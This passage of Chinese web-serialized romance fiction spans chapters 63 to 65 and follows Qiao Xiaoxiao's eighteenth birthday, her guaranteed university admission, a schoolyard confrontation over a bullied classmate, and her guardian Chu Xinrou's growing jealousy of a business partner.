三年前同样的场景浮现在眼前——那时潇潇还够不着这么高的位置,只能低头在矮一截的刻度线上认真标记。 墙面上密密麻麻的铅笔印记,像是一首无声的成长诗篇。 乔潇潇不自觉地挺直了背脊,修长的脖颈微微前倾,仿佛这样就能让那个数字再往上跳动一点。最终,铅笔在“176cm”处留下清晰的痕迹。 “好了。”楚心柔放下手臂,嘴角扬起一抹释然的微笑。幸好没有像杨绯棠打趣的那样,真的长成什么“巨人”。 乔潇潇转过身,指尖轻轻抚过那些深浅不一的刻度线——155cm、163cm、170cm……每一道印记都是时光馈赠的礼物。当她望向身旁的楚心柔时,心底涌动的甜蜜与幸福几乎要溢出来。 无论岁月如何改变她的模样,始终如一的是,姐姐永远会站在她身旁。 十二点整,也不管是否扰民,杨绯棠“咚咚咚”地敲开了门,冲进来抱住了乔潇潇,扯着脖子,也不管孩子怎么挣扎,在脸蛋上用力地亲。 “mua~生日快乐!” “mua~潇潇,按耐你!” “mua~我们家崽子成年了!” …… 沉浸式送生日祝福的杨绯棠也不管她怀里的崽子差点被憋死,乔潇潇伸出一只颤巍巍的手,求助楚心柔。 楚心柔微笑着盯着看,突然就莫名的有些羡慕杨绯棠,她也祝了潇潇生日快乐,可没亲一下。 关键时刻,还得看杨姐姐。 杨绯棠呲着大牙笑的不管别人的死活,“潇潇,你看看给你楚姐姐馋的,她也想亲你!” 一句话,烫红了两个人的脸。 杨绯棠把潇潇往楚心柔的方向推了推,“哎呀,快点吧,崽子十八了,再过两年,你想亲都亲不到了。” 她真是有一种吾家有女初长成的老母亲感。 乔潇潇不好意思,连头都不敢抬了,心跳加速。 就在楚心柔嗔了杨绯棠一眼,觉得她把孩子弄不好意思了的时候,乔潇潇默默地走到了楚心柔的身边,把脸“dua”的一扬。 楚心柔:…… 杨绯棠:^0^ 崽子是从来不会让人失望的。 这下轮到楚心柔不好意思了。她抿着唇,目光细细描摹着乔潇潇的轮廓——那个曾经只到她肩膀的小女孩,如今已经比她高出半个头了。心底涌动的暖意让她不自觉地踮起脚尖,在乔潇潇的脸颊上轻轻啄了一下。 “咔嗒”一声,杨绯棠的拍立得精准捕捉了这个瞬间。 这个轻如蝶翼的吻,却像一块烧红的炭落在乔潇潇心上。红晕从被亲的地方迅速蔓延,转眼间连耳根和脖颈都染上了晚霞般的颜色。 杨绯棠美滋滋地看着自己的照片,“哎呀,真好看啊,真养眼,就是潇潇,你怎么跟大虾似的?还有,心柔,你的脸也红了?” 她一边说一边看着照片,有些东西,在镜头下会被无限的放大的。 就在杨绯棠的脑袋要反应过来为什么她亲和楚心柔亲会有这么大的“差别”之际,楚心柔伸手推她:“哎,你快回去准备礼物吧,都几点了?” 还没闹够的杨绯棠撇着嘴就回家了。 薛莜莜正低头蹙着眉看手里的文件,杨绯棠看见了,“啪嗒啪嗒”的走了过去,把拖鞋一踹,缩在她怀里,亲了亲她的下巴。 “嗯?”薛莜莜低头看着杨绯棠,吻了吻她的嘴,“怎么了?” 杨绯棠感慨,“时间过得真快啊,一眨眼,崽子就十八了。” 她想起刚开始听了心柔的话,去操场上对乔潇潇进行“钓鱼执法”,被她冷着脸问是不是诈骗的场景,恍若昨天。 岁月在她和楚心柔身上也留了痕迹,但却没有乔潇潇那么浓墨重彩。 潇潇这几年的经历,不夸张的说,要比一个成年人还丰富多彩。 从十班到一班,再从入队到受伤到退队,还有创建了“青心”,很难想象,那瘦弱的肩膀是怎么将这一切压力扛起来的。 杨绯棠:“真是长大了,你不知道,她刚才亲心柔的时候,脸红成那样。” 薛莜莜听了若有所思。想不到乔潇潇进程很快,都亲上了? 杨绯棠摸着下巴,“你说,为什么我亲,她没什么反应,心柔亲就反应那么大呢?” 有些真相,就摆在面前,只差临门一脚。 薛莜莜知道杨绯棠的性子,现在如果让她知道了,怕是有的折腾,她捏了捏软绵的脸颊,给出了杨绯棠最喜欢的答案,“你平时总亲她捏她,虽然她跟楚心柔住在一起,但内心里还是跟你亲的。” “我就知道!” 得到满意答案的杨绯棠兴奋了,像是个小孩一样振臂欢呼,薛莜莜看她这没心没肺的模样,幽幽地叹了口气。 这以后……别说是楚心柔那关了,潇潇怕是连她杨姐姐这缺心眼子的这一关都不好过啊。 当天晚上。 乔潇潇辗转到后半夜才睡,她的手反复在姐姐亲过的地方轻轻的抚摸,扬起的唇角就没有放下来过。 姐姐亲她了!还脸红了,这算不算是重大突破?! 十八岁的第一天,乔潇潇就这样带着满心的甜蜜入梦。 她感觉命运的齿轮在转动,终于也肯眷恋自己了。 第二天清晨,乔潇潇揉着惺忪的睡眼走出房门,就听见杨绯棠夸张的声音在客厅响起:“天呐!你不会整晚都没睡吧?” 眼前的景象让乔潇潇瞬间睁大了眼睛。 楚心柔正小心翼翼地将她从高一开始获得的所有奖状依次展开,整整齐齐地贴在照片墙旁边。最上方是她亲手书写的三个娟秀大字——“荣誉墙”。 从高一的校级进步奖,到后来田径队的市级跳远冠军、省级4×100米接力赛银牌,再到奥数竞赛省级二等奖……每一张奖状都被精心保存,连边角都没有丝毫折痕。 这些奖状,乔潇潇拿到之后,并没有放在心上,而是随手一扔,过两天就不知道整哪儿去了,原来,都被楚心柔收起来了。 楚心柔看到乔潇潇走出来,眼里含着笑,“起来了,吃饭吧?” 乔潇潇怔怔地盯着照片墙。姐姐……一晚上没睡,就是在做这个么? 杨绯棠忍不住吐槽,“你看你姐姐,要不是认识不够早,恨不得把你纸尿裤挂上面。” 乔潇潇刚咧嘴笑,杨绯棠又补充了一句,“下一个是不是就是毕业证和结婚证了?” 十八岁是个微妙的年纪,很多曾经避而不谈的话题突然变得可以玩笑。但谁也没想到,乔潇潇敛了笑容,斩钉截铁地摇头:“我不结婚。” “什么?” 正准备去厨房拿小笼包的楚心柔猛地顿住脚步,转身时脸上写满错愕。杨绯棠也愣住了,手里的照片“啪嗒”一声掉在了地上。 就是这么突然。 谁让她年轻呢? 一早上,乔潇潇坐在餐桌上,向两个长辈正式宣布。 “我这辈子也不会结婚,将来,也不会有自己的孩子。” 旁边傻眼了的楚妈妈和杨爸爸大眼瞪小眼。 楚心柔冲杨绯棠使了个眼色,杨绯棠率先冲锋上阵,“你怎么会有这样的想法呢?以前没听你说过啊?” 这些年,她也就知道乔潇潇喜欢老人这一劲爆消息。 乔潇潇看了她一眼,表情深沉。 楚心柔用冲杨绯棠努了努嘴——上啊。 杨绯棠喝了一口咖啡,语重心长:“当然,你这样的想法,在现代年轻人里也不少见,我多少也听到过,但是——” “杨姐姐。”刚吃完小笼包的乔潇潇优雅的擦了擦嘴,她看着杨绯棠,问:“你结婚了吗?” 杨绯棠张着嘴看着她。 乔潇潇偏了偏头,又问:“那你这辈子,会有孩子吗?” 杨绯棠被摸脖杀了,眼泪汪汪地看向楚心柔。 战士冲锋都猛成这样了,楚心柔也不得不上阵了,她微微的笑:“你还小,有这样的想法很正常,以后会——” “姐姐。”乔潇潇打断了她的话,用她对自己微笑的弧度,对着她笑的灿烂:“你也没结婚生子,那么请问——”她嘟着嘴,那么的纯那么的茶:“你多少岁了?” doublekill! 一早上,拿了双杀的乔潇潇心满意足的跑步出门了,只留下餐桌上的两个人风中凌乱。 杨绯棠呆呆地看着楚心柔,“她……她说你年龄大。” 楚心柔看着杨绯棠:“她说你连说教的资格都没有。” 二位:…… 已经开始互相伤害了。 乔潇潇正式的叛逆期已经开始了。 她的人生,只有她自己做主,任何人都不能决定。 等她跑步到学校的时候,还不到七点,教室里,却已经坐满了人,脸红红的额在背着英语单词、文言文……大家都在为了明天而最后一搏。 现在是最后的冲刺阶段了,别说是一班了,就是十班的同学们,也都知道努力了。 老师千叮咛万嘱咐,最后几个月,成绩变动会特别大,成绩靠前的,千万不要得意,随时都有可能被超过,而后面的也不要气馁,逆袭的事儿在高三可是最常见的。 这些话都不是最吸引孩子的,最吸引大家的还有老师的那一句。 ——到了大学,就没有那么多管束了,你们想干什么就干什么。 虽然,乔潇潇本来也没谁管着,可听了还是觉得心动。 她终于只要长大了。 她可以去做自己想做的事儿了。 一早上,就有好几个坐在楼道上等乔潇潇,看她进来,纷纷起身。 “老班来了。” “潇潇来了!” “来了来了……” 潇潇已经习惯了,最近每天早上,她都会帮着十班的学生讲讲题,毕竟是“老根据地”,这两年,她稳步前进,去了好几个班,就跟十班最有感情。 刚开始,仅限于小范围的几个人,乔潇潇讲题话不多,思路清晰,到了后来,听得人越来越多,她干脆去班里的黑板上划拉。 高一的她,连发言都低着头,如今,站在讲台上的她已经耀眼如星了。 除了感谢、赞美声,风言风语也少不了,不少还传到了老师的耳朵里,什么“乔潇潇飘了,讲台都赶上”“什么去了一班开始救济曾经贫民窟十班了”“又不是老师嘚瑟什么讲错了怎么办?”…… 诸如此类的话,很多很多。 有十班的学生听着愤怒的想要闹得,都被乔潇潇按住了,她云淡风轻地说了一句:“不用理。” 明明她还年轻,明明她还是个孩子。 可她身上就是有那种让人信服追随的气场与魄力。 不过是十八岁。 她已经历经风雨沧桑,那牢固的心态,除了楚心柔能撼动几分,她又会把谁放在心上? 今天讲完题,乔潇潇才闭着眼睛休息了一下,就被老师叫到了办公室。 她在学校依旧是风云人物,哪怕是出现在走廊里,也有高一高二的学弟学妹红着脸偷看。 乔潇潇目不斜视,没当回事儿,还以为自己做错了什么,让老师给抓着小辫子了 她突然想起第一次楚心柔被请家长都模样,唇角微微上扬。 可等她今天进去的时候,里面的人可不少,宋洋、教导主任、还有一般的班主任王琛全都在,几个人全都笑眯眯地看着她。 一时间,乔潇潇亚历山大,迅速复盘最近做过的“坏事”,她做什么了,值得各位领导这么“大动干戈”? 【作者有话说】 留言破八十,二更!冲鸭。 下章预告:潇潇被老女人追求了! 64 第64章 (二更) ◎楚心柔脸上的愉悦已经消失不见了,看着乔潇潇怀里的花。◎ 最先开口的是教导主任,她看着乔潇潇,虽然笑着,但语气是认真地:“潇潇啊,感觉自己最近表现的怎么样啊?” 她从高一开始就关注了这位贫困生,当年,她考入学校的成绩并不差,就是英语落后的有点多,当时还留意过潇潇的成绩,为她分班考试落到10班而感叹过。 后来,主任在走廊里偶尔遇见过乔潇潇。 当时,大家都是三三两两和朋友一起走着,只有她是独自一个人,夏天还穿着长袖,低着头,一言不发,像是角落里无人问津的小草,没有什么存在感。 她以为,这孩子会就这么“暗淡”下去,可没想到,第一次潇潇出头,还是因为跟王颖抢瓶子事件,当时不仅是她,学校里的老师都觉得惊讶,没想到一个人生地不熟的孩子,敢和在学校干了这么多年保洁抢地盘。 后来……潇潇让她吃惊的点可太多了。 眼看着乔潇潇很谨慎地一言不发,跟她最熟的宋洋笑了,“要我说啊,主任问的太腼腆,就该直接问,你又干啥坏事了么?” 这样的话一出,乔潇潇舒了一口气,她想了想,说:“除了带着田径队、跳高队跟篮球队打了一架,其它的……没有什么。” 她预料到了,这件事儿,老师会找她,只是没想到会这么兴师动众,来了这么多人。 其实,潇潇的性子,自打王宁那件事儿之后,已经稳定成熟的多了,要不是一般情况下,她是不会轻易出手的。 可那天,小花在操场上兜售饮料,篮球队里的拉拉队长张慧看男朋友田力买水的时候,对小花笑了,立即就炸毛了,她冲上前,一把将小花推倒不说,摊位上摆着的水瓶全都给踢飞了。 当时,有路过的看不下去的想要上前帮忙,被篮球队队员给围住了。 小花胳膊都擦出血了,摔在地上,抹眼泪,张慧不依不饶。 “骚货,你还哭?装给谁看的?小小年龄,不要脸!” “穷逼,没钱还靠近我男朋友!” “看你一天天拎着水在附近转悠,眼睛滴溜溜的就不安分!早就不顺眼了!” …… 当时,路过的田径队的一个队员认出了小花,赶紧给乔潇潇打了电话过去。 当时潇潇正外面跑步呢,听到这消息,立马开始拿手机摇人。 她跑回去的时候,一头的汗,就潇潇这个体力,要不是着急,绝不会这样。 原本嘈杂的人群突然安静下来,仿佛被按下了静音键。所有人的目光都不约而同地转向同一个方向——乔潇潇来了。 如今的乔潇潇,用“三中一姐”来形容都显得含蓄。她阴沉着脸,每一步都踏得极重,径直走到小花面前,目光扫过女孩身上的淤青和擦伤,声音冷得像淬了冰:“起来。” 小花瑟缩着站起身,眼泪在眼眶里打转:“姐姐,我没事……”她咬着嘴唇,生怕给即将高考的姐姐惹麻烦。 乔潇潇的眼神更冷了,她抬手擦掉小花脸上的尘土:“她怎么欺负你的?” 围观的学生中有人愤愤不平地喊:“那帮人踢翻了小花的摊位,还把她推在地上!” 篮球队长王鹏硬着头皮站出来,强撑着笑脸:“潇姐,都是误会……” 乔潇潇连眼风都没扫他一下,只是盯着小花:“现在过去,她怎么对你的,你就怎么还回去。”她顿了顿,补上一句:“我在这看着。” 刚刚还叫嚣的女孩声音明显虚了,却不想就这么“认怂”,她嘴硬着:“哟,我当是谁呢~原来是咱们大红人的妹妹啊,难怪这么没教养。这是要给她撑腰了?” 乔潇潇抱着胳膊,冷冰冰地睥着女生,“对。” 就是要给她撑腰怎么了? 这一个“对”字掷地有声,像一记无形的耳光,狠狠扇在对方脸上。女生的表情瞬间扭曲,嘴唇咬得发白,慌乱地拽了拽身旁田力的衣袖。 田力刚要开口,操场方向突然传来一阵骚动。两队人马如潮水般涌来,一队穿着火红的田径队服,一队身着深蓝的跳高队战袍。明明只是寻常跑步,却踏出了千军万马的气势。 王鹏一看脸都绿了,不是吧?田径队和跳高队全队都来了? 后来,动静闹得太大,把几个教练引了过来,鹿晨一看乔潇潇在,暴跳如雷:“你都要高考了,还打架?” 乔潇潇才不管这套,她就不惯着对方这臭毛病,小花家庭条件不好怎么了?不好她就得挨欺负么? 鹿晨一看这两边真要打起来了,赶紧给楚心柔打电话,现在只有她能管得了这祖宗。 谁知道,楚心柔听完前因后果之后,第一句问鹿晨的话居然是:“潇潇受伤了吗?” 鹿晨愣了愣,“啥?” 在她印象里,楚心柔可是温柔礼貌,顾全大局的,不应该先赶紧过来把孩子拉开么? 楚心柔的语气平静,“我不认为潇潇做的有什么不对,您这个时候,不该给我打电话,应该给张慧的家长打电话,叫到学校去教育。” 说完,她“啪”地挂断了电话。 旁边,杨绯棠正手里捏着汉堡,张大嘴比划着,今早,她看潇潇三两口就吃了一个,正研究她怎么速度那么快。 楚心柔拿上外套,看了她了一眼,“走。” 杨绯棠张着嘴没闭,她刚找好角度,“嘛去啊?” “得去盯着点。”楚心柔还是不放心,杨绯棠看着她,“你不是给人家鹿教练撅了么?” 楚心柔:“我怕潇潇吃亏。” 杨绯棠:…… 得了吧,就那个壮如牛的崽子怎么会吃亏? 事实证明。 楚心柔的担心不无道理。 她去的时候,潇潇的眉骨挂彩了,但好在张慧咬着唇,低着头,跟小花道歉了。 “对不起!” 小花去看乔潇潇的伤,都流血了,她刚才摔倒都没怎么掉眼泪,如今,眼泪唰唰地往下掉。 乔潇潇正摸着她的头安慰。 回到家,乔潇潇可不是操场上那眼睛都不眨一下的“战神”了,她靠着楚心柔,唉声叹气:“好疼哦,不会留疤吧?” 楚心柔冷哼,“你杨姐姐说等你高考完,要带你去练跆拳道。” 乔潇潇咧嘴笑了,她扭头看着姐姐:“你不生气?” 楚心柔才不会生气,她客观的评价:“张慧确实欠揍,不过你也有点菜。” 乔潇潇:…… “要不是她欺负小花,我才不理。” 楚心柔按着棉球的手顿了一下,她看着乔潇潇:“你不是喜欢岁数大的么?” 这猝不及防的一句话给乔潇潇差点噎死,她无语地看着楚心柔:“我把小花当妹妹。” 楚心柔想了想,“但我看她未必帮你当亲姐姐。” 真的假的? 乔潇潇不怎么相信,却借着她的话说了下去,“姐姐,你说要是你,能接受比你小的么?” “你是想问你如果接受小花,我什么态度?” 乔潇潇:…… 楚心柔盯着她的眼睛:“潇潇,姐姐没有经历过爱情,也不懂这些情爱,只是我想,如果是真的感情,该是不分年龄不分性别的。” 这超纲的回答,让乔潇潇心情大好,连带着眉骨的伤都不疼了。 值了,太值了。 虽然长路漫漫,但是在姐姐的心里,并不排斥被岁数小的人喜欢,这已经非常难得了。 …… 说起打架的事儿,宋洋直摇头:“你啊,上了大学可不能这么冲动了。” 主任跟着点头,“是啊,以后就是大学生了。” 说什么大学生?奇奇怪怪的。 乔潇潇扯着脖子:“还有事儿么?没事儿我去学习了,各位老师。” 宋洋看她这着急跟主任对视一眼笑了,最终,还是由主任开的口,“潇潇,咱们学校是市重点学校,每年都有保送名额你知道么?” 乔潇潇迟疑地点了点头。 她是知道。 可在她这没背影的农村出身的孩子来说,那些名额永远都不会落在自己的身上。 命运有时候就是这样奇妙。 总会在你最意想不到的时刻,轻轻托起你的下巴,让你看见不一样的天空。 乔潇潇觉得耳膜嗡嗡作响,血液在太阳穴突突地跳。她看着眼前几位老师期待的目光,嘴唇轻轻颤抖着:“老师,您说的是真的么?” …… 当乔潇潇从学校飞奔而出时,风掠过她的脸颊,带来丝丝凉意。她这才发现,自己不知何时早已泪流满面。 记忆如走马灯般闪过,她是怎么在牛棚里一天天熬过来,又怎么在黄素兰的打骂声邻居们看鬼一样的眼神与议论声中隐忍坚持过来的……她心心念念想要的大学,曾经离着她那么遥远。 而现在,这个遥不可及的梦想,就这样猝不及防地降临了。 画室里,楚心柔正俯身指导楚鸽作画。自从上了大学,这孩子总是心不在焉,画技不进反退。楚心柔轻轻握住她的手,正要纠正她的笔触,门突然被猛地推开。 乔潇潇像一阵风般冲了进来,在楚鸽错愕的目光中,一头扎进楚心柔怀里。 画笔“啪”一声掉在地上,楚鸽瞪圆了眼睛。??? “潇潇?怎么了?”楚心柔心头一紧,冰凉的手指抚上她湿润的脸颊。 乔潇潇把脸深深埋在她的肩窝,声音闷闷的,带着抑制不住的颤抖:“姐姐……我……我被保送了……” 楚心柔的手顿在半空,悬着的心终于落下,转而被汹涌的喜悦淹没。她用力回抱住乔潇潇,声音也跟着发颤:“潇潇,是真的吗?” 乔潇潇用力点头,鼻子都哭红了,楚心柔抬起手给她擦了眼泪,笑着说:“这是好事儿啊,怎么还哭了?不哭了。” 怎么能不哭? 在别人面前,乔潇潇还能装装,可在姐姐面前,她完全不用。 不仅哭了,几乎可以用“嚎啕大哭”来形容,乔潇潇把这些年早出晚归披星戴月疲惫不堪焦虑担忧……全都哭了出来。 楚心柔一边轻声安抚她,一边摸着她的发,到最后,她的眼圈也红了。 眼看着要哭成一团了。 楚鸽嚼着口香糖抬起手,“哎哎哎,差不多得了,这还有个大活人呢!” …… 乔潇潇保送的消息,楚心柔是决定低调处理的,尽量不跟别人提起。 这也符合她一直以来谦逊的性格。 虽然保送了,但是潇潇在学校还有一些手续要处理,下午不在家。 楚心柔首先去了杨绯棠的琴房。 临近暑假,琴房很忙,陆续有学生过来咨询,杨绯棠一手戳着下巴,懒洋洋的,一点热情都没有,“想来的就自己看招生简介啊,那不都写在册子上了么?别让我一一讲啊。” 好在,大家都知道她这不羁的性子,也都能理解。 “什么事儿啊?” 杨绯棠看着楚心柔眼巴巴地站在旁边,明显是有话说。 楚心柔:“你知道潇潇怎么了吗?” 杨绯棠琢磨着什么事儿还能值得让楚心柔来跑一回,她想了想,问:“谈恋爱了?” 楚心柔看着她摇了摇头,甜甜一笑:“她被保送了!” 这位甜妹纯粹写满了“显摆”的笑差点闪瞎杨绯棠的眼睛,她愣了半天,“就……这么优秀的么?” 显然,楚甜妹对她的反应非常不满意,蹙眉:“要不潇潇一直怀疑你到底是不是研究生呢?你的词汇量也太匮乏了。” 这是简单优秀能形容的么? 紧接着,低调的楚姐姐,先后把消息传达给了糯糯、宋*秋、乔半山,到最后,她意犹未尽的甚至跟二小姐炫了一番。 二小姐在手机里,震惊无语地看着楚心柔:“姐,你半个月没给我打电话了,一打就是为了告诉我乔潇潇保送了?” 这可是大事儿啊! 楚心柔甚至已经要拉着杨绯棠去买火锅食材,晚上热热闹闹地给乔潇潇庆祝一番了。 可俩人才刚走没几步,就看到了精彩的一幕。 乔潇潇手里抱着一大把红色的鲜花,对着专程过来贺喜的白绯笑的灿烂,“白姐姐,你怎么还亲自来了?” 白绯是当年帮助乔潇潇度过难关的工厂负责人,她们合作也有一段时间了,她对乔潇潇无论是头脑还是魄力都非常认同,对别人说起她来也是赞不绝口。 “嗨,高考啊,这是人生大事儿,我一听到你的消息就赶紧买机票,必须过来!” 杨绯棠耳朵竖得像是大白兔,她震惊无比地对楚心柔说:“哟,人家跟你同步知道的消息啊。” 楚心柔脸上的愉悦已经消失不见了,看着乔潇潇怀里的花,看着她对白绯笑的阳光灿烂,抬起手,掐住杨绯棠胳膊上的一小撮肉,拧着转了一个圈。 “啊!!!” 【作者有话说】 今天有点晚了,还有人吗? 65 第65章 ◎潇潇也有照顾的人了,我就可以放心了……她……也不需要我了吧。◎ 杨绯棠这一声惨叫,叫出了灵魂,叫出了痛彻心扉。 不仅惊是周围人都驻足去看,乔潇潇和白绯也听见了,一起看了过去。 一眼看见姐姐,乔潇潇兴奋地走了过去,盯着她手里的袋子,“晚上是要吃火锅么?” 楚心柔松手了,淡淡地说:“不是给你吃的,你有人请了。” 乔潇潇:??? 不是给她吃的? 楚心柔盯着乔潇潇怀里的花看了看,开的那叫一个鲜艳那叫一个刺眼,她叫了一声:“绯棠。” 杨绯棠正看着胳膊上的淤青在抽气,一听自己被点名了,立即立正站直:“对,我要吃!谁也别跟我抢!” 呜呜,为什么受伤的全是她。 乔潇潇满眼不可思议,“你不是减肥吗?杨姐姐,吃这么多?” 杨绯棠:…… 别问了,问多了都是泪,她不过是一个“无辜被牵连”的可怜人罢了。 白绯缓缓地走了过来,对着杨绯棠点了点头,看到楚心柔,毕恭毕敬地叫了一声:“楚总。” 之前,她们见过几次。 乔潇潇能明显感觉到白绯对楚心柔的畏惧,她明明是个爽朗大咧咧的性子,可一对着楚心柔,就立马低头顺眉,她跟杨姐姐打听过原因,对于杨绯棠说楚心柔之前在职场上是“玉面修罗”的事儿,她怎么都不相信。 她姐姐温柔着呢! 楚心柔表情很淡,她看了看乔潇潇:“今晚几点回家?” 乔潇潇算了一下时间,她现在不需要高考,整个像是脱笼的小鸟,不知道多自在,“我和白姐姐要去工厂看看。” 随着青心规模的壮大,白绯有想要建立分厂的打算了,甚至已经把总厂需要分流跟过来的人选物色好了,最近已经在选址了。她在买与租之间来回徘徊,这些年,房价长得太快了,她们内部还笑着聊天,做什么生意,都不如当年买几套房。尤其是2015年是个敏感的时间点,在2010年调控政策密集出台,但房价仍上涨的大环境下,不少人都认为后续房地产会降温,可也有很多人认为,还没有到那个点会持续高涨。 白绯很犹豫,她是有点积蓄,但是跟楚家的集团比,那就连蝼蚁都算不了了,所以才格外慎重。 那就是要很晚了? 楚心柔没说话,平静的将目光落在杨绯棠的身上,杨绯棠才不会让人当枪使,她仰着脖子假装没看懂暗示,楚心柔摸了摸她的胳膊,问:“热么?” 杨绯棠鸡皮疙瘩瞬间起来了,她立即两手叉腰,凶神恶煞地看着乔潇潇:“刚保送你就翘尾巴,回家都要看点了?我告诉你,晚上八点半之前,必须回来!要不你睡大街上去!” 乔潇潇:…… 白绯:??? 楚心柔在心里为杨姐姐刷了一溜嘉年华。 因为要干活,乔潇潇走之前,特意把花递给楚心柔,“姐,你帮我拿过去。”说着,她看着白绯笑了笑:“我拿回家插花瓶,养的时间长。” 她虽然对花不感兴趣,感觉这又不能吃又不能花的,就是看看样子,几天就枯萎了,但毕竟是白姐姐的一番心意,当着人家的面,她也不好意思拒绝。 楚心柔盯着看了看,是开的正盛的玫瑰,沉默不语。 简直是司马昭之心了。 眼看着乔潇潇要离开,杨绯棠偷偷给她发了个信息。 ——你早点回来,我们还说要给你庆祝呢。 这么重要的日子,怎么能跟外人过呢? 路上,乔潇潇收到信息,咧嘴笑了,飞速的回了一句。 ——杨姐姐,你长大了,要乖。 家里,正在洗菜的杨绯棠拧了拧眉,又回了一句。 ——你姐姐有点不高兴了,你没看出来吗? 这一次,信息秒回。 ——我八点半之前,肯定回去! 杨姐姐才刚舒了一口气,另一口气就吊上了。 “杨绯棠,你洗的菜里有虫子!” “啊啊啊啊!!!虫子?!哪里有!” …… 不高兴? 乔潇潇有点疑惑,想了想,明白了,肯定是今天刚得知保送的消息,姐姐应该是想给她庆祝。 不怪潇潇敏感,之前,她无数次的敏感敏锐都被楚心柔一颗装满了“姐姐妹妹”纯真感情给重重的戳伤了,多想一分都像是自己往自己的心上插刀。 白绯望着乔潇潇,唇角漾起一抹浅笑,“要不……我们去对面那家迎风小面馆?” 那是她初来乍到时,潇潇带她去的第一家店。记得那会儿,看着逼仄的店面,斑驳的墙壁,白绯下意识皱了皱眉。她不动声色地抚平裙摆上的褶皱,指尖在油腻的桌面上悬着,迟迟没有落下。 当时,白绯多少还拿捏着劲儿,没想到潇潇会带她来这样的苍蝇店吃,心里也有些不满。 可乔潇潇的眼里写满了真诚,“姐,你来这第一餐,咱们吃好吃的,明天我定了玫瑰餐厅,我们去吃西餐。” 白绯抿着唇没作声,心想小姑娘中的“好吃的”能有多?当那碗蟹黄面端上来的瞬间,金灿灿的蟹黄裹着细面,热气裹挟着鲜香扑面而来。她的高傲顿时土崩瓦解,再抬头时,碗底已经见了光。 吃饱喝足后。 乔潇潇对白绯说着对品牌的构想,对未来的规划,白绯来之前是做过背调的,知道潇潇来自贫困山村,甚至高一的时候还需要人的资助,她还怀疑过,青心能有现在的成绩,是不是楚心柔帮忙,可看着眼前的人侃侃而谈,对所有细枝末节了如指掌的自信,白绯知道,眼前的孩子,是个未来不可期的人才。 不过才一年半之前,乔潇潇送她去火车站的时候,就半开玩笑的说过:“白姐姐,我知道你手下还有很多其他公司的合作,我希望,在我高中毕业那一年,青心能让你倾心,或许,还能来这里开分厂。” 当时,白绯只当是玩笑话,可现如今,都实现了。 她看着乔潇潇,距离上次见面,不过是半年的时光,她又漂亮了许多,最重要的是眼底的压力似乎散去了不少,眉宇间多了些自信与笃定。 “保送准备学什么专业?” 谈完正事,白绯用纸巾擦了擦嘴,她其实是个漂亮的女人,不过是三十多岁,正风华绝貌的年龄,禁不住岁月洗礼与一路打拼困苦的折磨,眼角有了淡淡的鱼尾纹。 “你会的喜欢的可够多了。” 无论是体育,语文,电脑,还是什么……她看乔潇潇会的懂得很多。 乔潇潇脱口而出:“工商管理。” 管理,或许在很多人眼里是分数不够凑志愿的万金油专业,当时宋洋也劝过她,是不是考虑一下当下大热的金融或者计算机专业,可那都是给人打工的,现如今的潇潇已经无需为人打工了,她更多的是要提升管理思维与能力。 上次见面,白绯还能给乔潇潇一些意见建议,但这一次,她感觉这孩子明显是胸有成竹愈发的成熟了,“那大学也搞定了,压力也没那么大了,有没有想过其他方面?” 其他方面? 乔潇潇点头,“这三年,我在三中受到了很好的教育,如果能力可以,我想要反哺。” 白绯的意思是想没想过感情方面,一般的人,别说是孩子了,就是成年人不也是前半生过苦日子,一旦安稳了之后就会想着恋爱享受的么?安于现状是人的本质。 乔潇潇的话,在白绯的心底搅动起漩涡,她问:“怎么反哺?” “国家虽然对贫困生有助学金等资助。”乔潇潇喝了口饮料,眼里燃起了灼灼光彩,“但我发现,时代进步了,大家也想要自食其力,我想为那些想要努力,去苦于没有门路的孩子们,提供一些支撑与帮助。” 授人以鱼不如授人以渔。 乔潇潇始终没有忘记初心。 她记得清清楚楚,当年,她受伤退役时,姐姐说的话。 “潇潇,你当初为什么想进田径队?” “我记得……当时我在操场上看她们训练,她们整体化一的跑着步,大喊着“为校争光”“为国争光”,我鸡皮疙瘩都起来了。” “所以,我们潇潇也想为国争光?” …… 姐姐的话,从最开始就指引着点亮着潇潇,她从没有忘记过。 现在的自己,或许能力还小,肩膀还没办法承担起那样的重量,但一点点做,总会实现的不是么? 白绯怔怔地看着乔潇潇,半响,她点了点头,轻声说:“如果有我能帮得到的地方,你告诉我。” 曾经……白绯在跟乔潇潇为了生意四处奔波的时候,看着这个稚嫩的女孩额头的汗,心底不仅一次升起过想要保护她呵护她,让她不用这样风餐露宿。 也许,这就是燕雀安知鸿鹄之志? 她知道,不久的将来,她就要仰望这个女孩了。 饭后,乔潇潇和白绯又去工厂的基地转了转,白绯还是在买与租之间犹豫不决,加上贷款,她是有能力把这将近五百平的工厂拿下来的,可是……她多年付出的一切都会砸在这里,甚至连总厂的流动资金都不够了。 乔潇潇看出她的犹豫,“白姐姐,你再考虑一下,多看看问问。” 这不是小事儿。 白绯点了点头,她们回去的时候,乔潇潇还带她去自己的“小作坊”看了看,现在潇潇的青心工作室,已经不是之前简陋的出租房了,她租了一个宽敞的门厅,不到一百平,虽然不大,但是里面茶水间、休息室,她都隔了出来。 阳光特别好,一早来工作心情都会特别畅快。 乔潇潇带着白绯进去的时候,工作室里就只剩下王宁一个人,她正在那清算这两天的账,看见俩人进来,她局促地站了起来。 白绯一眼认出了王宁,不可思议地看向乔潇潇。 她怎么会在这里? 王宁有点紧张,她知道,自己当年卷款跑路的事儿,白绯知道的清清楚楚,可那眼神还是让她心里又闷又痛。 乔潇潇笑呵呵的抬了抬手里的袋子,“宁姐,我们去吃饭,打包了你爱喝的杨枝甘露。” 王宁接了过去,潇潇看了看点,“宁姐,差不多就回去吧,明天袁璐她们过来。” …… 从工作室出来,白绯就迫不及待地问:“你怎么还敢用她?” 当初,乔潇潇被害的有多惨,她都看在眼里,这样的人,无论有怎么样的“借口”,不都应该扔到大牢里待着去么? 先不说潇潇当时赚钱有多不容易,背负了多少压力,这事儿就是放她身上,她也接受不了啊。 乔潇潇看着白绯,也没隐瞒,很诚恳,“白姐姐,我小时候穷的连一碗饭都吃不上没有人理的时候,是宁姐偷偷给我塞吃的陪我说话。” 其他的,无需多言。 滴水之恩当涌泉相报。 “宁姐已经把七万块全部还给我了。” 这两年,王宁节省到让人“发指”的地步,她很少回家,就在公司睡,吃饭什么的也是草草吃一口,工资一到账,只留五百块,剩下的,她全部都存起来。 王宁回来后,已经做好了乔潇潇再也不会信任她,处处设防的准备了,可并没有。 